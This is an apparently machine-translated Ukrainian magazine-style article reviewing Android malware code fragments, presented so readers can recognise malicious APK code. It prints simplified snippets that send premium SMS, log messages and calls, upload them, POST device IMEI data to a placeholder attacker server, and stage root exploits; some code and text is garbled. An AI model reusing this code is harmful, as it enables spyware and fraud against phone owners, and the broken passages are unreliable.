• Главная
  • Карта сайта
Не найдено

Огляд фрагментів коду найпопулярніших типів вірусів

  1. Зміст статті
  2. Де шукати код вірусу
  3. Сайти про мобільний малварі
  4. Захист від вірусів

Зміст статті

У колекції шкідливих Android-додатків деяких антивірусних лабораторій міститься вже більше 10 мільйонів зразків. Ця цифра розбурхує уяву, але приблизно 9 мільйонів 995 тисяч з них - перейменовані копії оригінальних вірусів. Але якщо проаналізувати вихідний код залишилися декількох тисяч зразків малварі, то можна помітити, що всі вони комбінуються з невеликої кількості унікальних функціональних блоків (кілька видозмінених і по-різному скомбіновані).

Вся справа в тому, що вірмейкери найчастіше переслідують досить тривіальні завдання:

  • відправити есемеску на платний номер;
  • заволодіти конфіденційною інформацією користувача (телефонними номерами, текстами повідомлень, даними з SD-карти і так далі);
  • зібрати дані про зараженому пристрої;
  • заволодіти адміністраторськими правами на пристрої (для установки додатків без дозволу власника або для зловмисного виведення апарату з ладу);
  • відстежити логіни, паролі та дані платіжних карт, які користувач вводить на сайтах систем інтернет-банкінгу. Як вони це роблять? Спробуємо проникнути в похмурий світ мобільного вірмейкінга і подивитися, що там відбувається.
Відправка есемески

Хто використовує:

  • AdSms;
  • FakePlayer;
  • HippoSms.

Найпоширенішим типом вірусів є SMS-трояни. Ці віруси просто відправляють повідомлення на платні номери без згоди користувача. Створити таку програму або переписати готову під потрібний номер зовсім легко. Та й процес отримання вигоди гранично спрощений - на відміну, наприклад, від відстеження банківських даних.

Далі наведено найпростіший приклад коду. Це елементарна функція відправки SMS. Її можна ускладнити перевіркою статусу відправки, вибором номерів в залежності від місця положення абонента і подальшим видаленням SMS.

private static SendSms (String DestNumber, String SmsText) {// Спроба запуску методу sendTextMessage об'єкта SmsManager (стандартна програма для відправки SMS у поточного пристрою) з мінімальною кількістю параметрів: номер одержувача і текст повідомлення try {SmsManager.getDefault (). sendTextMessage (DestNumber , null, SmsText, null, null); return true; }}

Де шукати код вірусу

В абсолютній більшості випадків зараження телефону відбувається через установку додатків. Будь-який додаток для Android існує у вигляді файлу з розширенням apk, який, по суті, є архівом. Переглянути його вміст можна за допомогою Android SDK, конвертера файлів APK в JAR і декомпілятори Java-байт-коду. Збірка додатки (APK) складається з наступних частин:

  • resources.arsc - таблиця ресурсів;
  • res (папка) - власне ресурси (іконки та інше);
  • META-INF (папка) - містить файли з наступним змістом: контрольні суми ресурсів, сертифікат програми та опис збірки APK;
  • AndroidManifest.xml - всякого роду службова інформація. У тому числі дозволи (permission), які додаток запитує перед установкою для своєї коректної роботи;
  • classes.dex - ти напевно чув, що в Android операційних системах весь код виконується за допомогою Dalvik virtual machine (починаючи з версії 4.4 з'являється підтримка ART), яка не розуміє звичайний Java-байт-код. Тому й існують файли з розширенням dex. У ньому, поряд з потрібними і корисними класами (які відповідають за функціонал додатка), містяться також і шкідливі (вірусний код, який ми розбираємо в цій статті).

Хто використовує:

Існує категорія вірусів, яка полює за персональними даними користувачів. Механізм їх дії також нескладний. Вони або завантажують на сервер свого творця файли користувача, або попередньо збирають будь-які дані в txt (CSV, XML - байдуже). Інтерес для зловмисників можуть представляти контакти будь-якого типу, повідомлення з різних месенджерів, медіафайли та інше.

SMS заражених користувачів особливо цінні номерами телефонів відправників і одержувачів - ними можна поповнити базу для спам-розсилок. Рідше віруси такого роду використовуються для зараження пристроїв конкретних особистостей - в наступний раз, коли твоя дівчина запропонує тобі протестувати написане їй (ай, карамба! - Прим. Ред.) Додаток на Android, не втрачай пильності :).

// Вважаємо кількість SMS на пристрої arrayOfObject = (Object []) localBundle.get ( "pdus"); int j = arrayOfObject.length; // Обходимо по циклу кожну SMS i = 1 while (true) {if (i> = j) break; // Створюємо об'єкт SMS-повідомлення SmsMessage localSmsMessage = SmsMessage.createFrompdu ((byte []) arrayOfObject [i]); // Кладемо в рядкові змінні номер відправника, текст і час відправки SMS String MessageNumber = localSmsMessage.getOriginatingAddress (); String MessageText = localSmsMessage.getDisplayMessageBody (); long l = localSmsMessage.getTimestampMillis (); Date localDate = new Date (l); String MessageTimeDate = new SimpleDateFormat ( "yyyy-MM-dd HH: mm: ss"). Format (localDate); // Формуємо з отриманих даних рядок і записуємо її в текстовий файл призначеним для користувача методом WriteRec String MessageInfo = 7MessageNumber + "#" + MessageText + "#" + MessageTimeDate + ";" WriteRec (paramContext, "sms.txt", MessageInfo); // Переходимо до наступного повідомлення i + = 1; } Також спам-лист зручно поповнювати з історії викликів абонента. Ось такий код може запускатися при вхідному дзвінку: If (parmIntent.getAction (). Equals ( "android.intent.action.NEW_OUTGOING_CALL")) {// Кладемо в змінну номер абонента String phonenumber = paramIntent.getStringExtra ( "android.intent. extra.PHONE_NUMBER "); // Формуємо рядок з номера і дати дзвінка String PhoneCallRecord = phonenumber + "#" + getSystemTime (); // Викликаємо метод WriteRec () (його код тут не наводиться), який додає рядок в текстовий файл з історією дзвінків WriteRec (paramContext, "phonecall.txt", PhoneCallRecord); }

Після того як інформація записана, вона переправляється в «потрібні руки». Наведений нижче код завантажує історію дзвінків на сервер:

private void uploadPhonecallHistory () throws IDException {while (true) {return; // Перевіряємо, чи є потрібний нам файл if (! FileIsExists (/data/data/spyapp.pg/files/phonecall.txt ")) continue; // Створюємо об'єкт - завантажувач файлів UploadFiles localUploadFiles = new UploadFiles (); String uploadkeynode = getKeyNode ( "uid", "uid_v"); // Запускаємо метод .advanceduploadfile (його код тут не наводиться) для завантаження файлу на сервер «вірусмейкера» localUploadFiles.advanceduploadfile (uploadkeynode, "/ data / data / spyapp.pg / files /phonecall.txt ");}}

Хто використовує:

  • DroidKungFu;
  • DroidDream;
  • переважна більшість малварі всіх аналогічних.

В принципі, будь-якого вірусмейкеру корисна інформація про заражені його програмами пристроях. Отримати її дуже просто. Створюється масив з даними про властивості телефону (їх повний список можна подивитися в керівництві Android-розробника) і відправляється POST-запитом до PHP-скрипту (мова непринциповий) на сервері зловмисника, той обробляє дані і поміщає їх в базу даних для подальшого використання.

private void reportState (int paramInt, string paramString) {// Створюємо масив і кладемо в нього службову інформацію ArrayList UserInformation = new ArrayList (); UserInformation.add (new BasicNameValuePair ( "imei", this.mImei)); UserInformation.add (new BasicNameValuePair ( "taskid", this.mTaskId)); UserInformation.add (new BasicNameValuePair ( "state", Integer.toString (paramInt))); // Якщо у функції визначено параметр «paramString (коментар)», кладемо в масив і його if (paramStrng! = Null) && (! "". Equals (paramString))) UserInformation.add (new BasicNameValuePair ( "comment", paramString )); // Створюємо HTTP POST запит з адресою скрипта, який здійснює збір даних HttpPost localHttpPost = new HttpPost ( "http://search.virusxxxdomain.com:8511/search/rtpy.php"); try {// Додаємо в запит наш масив з даними і виконуємо його за допомогою стандартного HTTP-клієнта localHttpPost.setEntity (new UrlEncodeFormEntity (UserInformation, "UTF-8"))); new DefaultHttpClient (). execute (localHttpPost) .getStatusLine.getStatusCode (); return; }}

Хто використовує:

  • DroidKungFu;
  • DroidDream;
  • RootSmart.

Одна з найнеприємніших речей, яка може статися з Android-пристроєм, - це його рутінг вірусом. Адже після цього шкідлива програма може робити з ним що завгодно: встановлювати інші віруси, змінювати налаштування апаратного забезпечення. Здійснюється це дійство шляхом послідовного запуску експлойтів:

private void RootFunc () {ApplicationInfo localApplicationInfo = getApplicationInfo (); / * "Ratc" - це копія знаменитого root-експлойта Rage Against The Cage. Kiall - зупинка всіх процесів, запущених поточним додатком. Gjsvro - експлойт для придбання прав udev (використовуються в Linux-системах для розширеної роботи з апаратним забезпеченням і мережевими інтерфейсами). Все це копіюємо в потрібне місце * / Utils.copyAssets (this, "ratc", "/ data / data" + localApplicationInfo.packageName + "/ ratc"); Utils.copyAssets (this, "killall", "/ data / data" + localApplicationInfo.packageName + "/ killall"); Utils.copyAssets (this, "gjsvro", "/ data / data" + localApplicationInfo.packageName + "/ gjsvro"); // І запускаємо за допомогою командного рядка Utils.oldrun ( "/ system / bin / chmod", "4755 /data/data"+localApplicationInfo.packageName +" / ratc "); Utils.oldrun ( "/ system / bin / chmod", "4755 /data/data"+localApplicationInfo.packageName +" / killall "); Utils.oldrun ( "/ system / bin / chmod", "4755 /data/data"+localApplicationInfo.packageName +" / gjsvro "); new MyTread.start (); }

Сайти про мобільний малварі

Блог експертів компанії Kasperskiy Lab Цей ресурс містить якісні і докладні статті про багатьох аспектах комп'ютерної безпеки, в тому числі і про Android-віруси. Варто регулярно відвідувати цей сайт, щоб бути в курсі останніх подій.

Androguard Google Group Група присвячена open source інструменту для всіляких маніпуляцій з кодом Android-додатків (декомпіляція і модифікація DEX / ODEX / APK файлів і так далі). Androguard також містить велику базу статей про віруси. Крім коротких оглядів функціоналу і методів захисту, зустрічаються докладні аналізи коду малварі.

Androguard Google Group
Розділ Mobile Threats на www.fortiguard.com Енциклопедії телефонних вірусів. Кожна стаття - огляд функціоналу, приправлений значною кількістю технічних деталей. Крім інформації про загрози для операційної системи Android, є статті і про віруси для Symbian OS, iOS і інших платформ.

Захист від вірусів

Деякі користувачі вважають, що якщо завантажувати додатки виключно з Google Play і встановити на смартфон антивірус, то це стовідсотково гарантує безпеку. Не варто спокушатися: в Мережі регулярно з'являються повідомлення про знаходження малварі в офіційному маркеті. А кількість новопосталих шкідливих програм вимірюється сотнями тисяч в місяць, що ускладнює їх своєчасне потрапляння в бази антивірусних програм. Реальну гарантію безпеки може дати річний перегляд коду APK-файлу перед установкою його на телефон. Не потрібно бути гуру кодинга, щоб помітити шкідливі фрагменти. А наша стаття допоможе тобі в цьому.

Як ми бачимо з прикладів, мобільний вірмейкінг технологічною складністю не відрізняється. Звичайно, дані приклади спрощені під формат журналу - перш за все, втрачені обробники помилок і виключень, а також окремі технічні дрібниці, відсутність яких не завадить тобі зрозуміти принципи роботи Android-малварі, але убезпечить від непотрібних експериментів. Адже ми не підтримуємо створення вірусів, чи не так? 🙂

Як вони це роблять?
Адже ми не підтримуємо створення вірусів, чи не так?
Провайдеры:
  • 08.09.2015

    Batyevka.NET предоставляет услуги доступа к сети Интернет на территории Соломенского района г. Киева.Наша миссия —... 
    Читать полностью

  • 08.09.2015
    IPNET

    Компания IPNET — это крупнейший оператор и технологический лидер на рынке телекоммуникаций Киева. Мы предоставляем... 
    Читать полностью

  • 08.09.2015
    Boryspil.Net

    Интернет-провайдер «Boryspil.net» начал свою работу в 2008 году и на данный момент является одним из крупнейших поставщиков... 
    Читать полностью

  • 08.09.2015
    4OKNET

    Наша компания работает в сфере телекоммуникационных услуг, а именно — предоставлении доступа в сеть интернет.Уже... 
    Читать полностью

  • 08.09.2015
    Телегруп

    ДП «Телегруп-Украина» – IT-компания с 15-летним опытом работы на рынке телекоммуникационных услуг, а также официальный... 
    Читать полностью

  • 08.09.2015
    Софтлинк

    Высокая скоростьМы являемся участником Украинского центра обмена трафиком (UA — IX) с включением 10 Гбит / сек... 
    Читать полностью